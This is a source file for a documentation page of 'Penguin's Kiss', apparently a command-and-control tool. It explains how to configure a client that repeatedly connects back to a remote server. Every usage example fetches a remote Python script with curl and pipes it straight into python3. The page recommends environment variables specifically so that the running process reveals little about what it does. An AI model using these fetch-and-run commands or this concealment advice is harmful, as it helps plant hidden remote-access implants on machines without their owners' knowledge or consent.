summaryrefslogtreecommitdiff
path: root/client.php
blob: e9993f4df50a91d0bc6543863a0c24cdaea674da (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<!DOCTYPE html>
<html lang="en">
    <head>
<?php
require('include/meta.php');
?>
        <title>Client Configuration | Docs | Penguin&apos;s Kiss</title>
        <link rel="canonical" href="https://c2.pkctl.org/client" />
    </head>
<?php
require('include/header.php');
?>
                <p>As you may have noticed reading the precompiled scripts section, the client binary
                    allows configuration options to be passed in a number of ways. The first thing it
                    will look for, for any given option, is a specifically-named environment variable,
                    as this will not be visible in the process name. Failing this, the client will try
                    less subtle approaches, looking for positional command-line arguments, prompting
                    the standard input, and finally falling back to a preset default value (which you
                    may find it useful to alter the script in order to tweak if you don&apos;t want to
                    pass anything in through the alternative methods.) Generally your run command will
                    look something like:</p>
                <pre>curl -s https://dl.pkctl.org/pk.py | OPT1=val1 OPT2=val2... python3 -</pre>
                <p>This has the distinct advantage as only showing up as <code>python3 -</code> in the
                    process list, which leaves precious little to identify what it is actually doing.
                    For this reason, environment variable input is highly recommended.</p>
                <section id="hdb">
                    <h3>HDB URL</h3>
                    <p>Unless your server is using the default server key (not recommended), you will
                        need to specify a URL from which the server&apos;s public RSA key can be
                        fetched. The format of this file can be found in the
                        <a href="/hdb">Hosts Database</a>
                        section of the documentation.</p>
                    <p>Environment Variable Name: <code>HDB</code></p>
                    <p>Command-Line Argument Order: first</p>
                    <p>Default Value: <code>https://war.cflems.net/hosts.json</code></p>
                    <p>Usage:</p>
                    <pre>curl -s https://dl.pkctl.org/pk.py | HDB=https://dl.pkctl.org/b8ca2180.json python3 -</pre>
                </section>
                <section id="host">
                    <h3>TCP Host</h3>
                    <p>This is the TCP host to which your client will attempt to connect at a specified
                        interval. You will most invariably want to specify or recode this parameter.
                        Port number is optional and specified with a colon in the hostname.</p>
                    <p>Environment Variable Name: <code>HOST</code></p>
                    <p>Command-Line Argument Order: second</p>
                    <p>Default Value: <code>sek.cflems.net:2236</code></p>
                    <p>Usage:</p>
                    <pre>curl -s https://dl.pkctl.org/pk.py | HOST=raw.pkctl.org python3 -</pre>
                </section>
                <section id="tts">
                    <h3>Time to Sleep</h3>
                    <p>This is the interval at which the client will wake up and attempt to establish
                        a connection to the remote server, if it does not succeed immediately. Unit is
                        seconds.</p>
                    <p>Environment Variable Name: <code>TTS</code></p>
                    <p>Command-Line Argument Order: third</p>
                    <p>Default Value: <code>1800</code> (30 minutes)</p>
                    <p>Usage:</p>
                    <pre>curl -s https://dl.pkctl.org/pk.py | TTS=86400 python3 -</pre>
                </section>
                <section id="bits">
                    <h3>RSA Bits</h3>
                    <p>Can be used to turn down the bits used for RSA keys and messages for faster
                        operation at the expense of security. Needs to be synced between the client
                        and server. I recommend leaving this value alone.</p>
                    <p>Environment Variable Name: <code>BITS</code></p>
                    <p>Command-Line Argument Order: fourth</p>
                    <p>Default Value: <code>4096</code></p>
                    <p>Usage:</p>
                    <pre>curl -s https://dl.pkctl.org/pk.py | BITS=2048 python3 -</pre>
                </section>
<?php
require('include/footer.php');
?>
</html>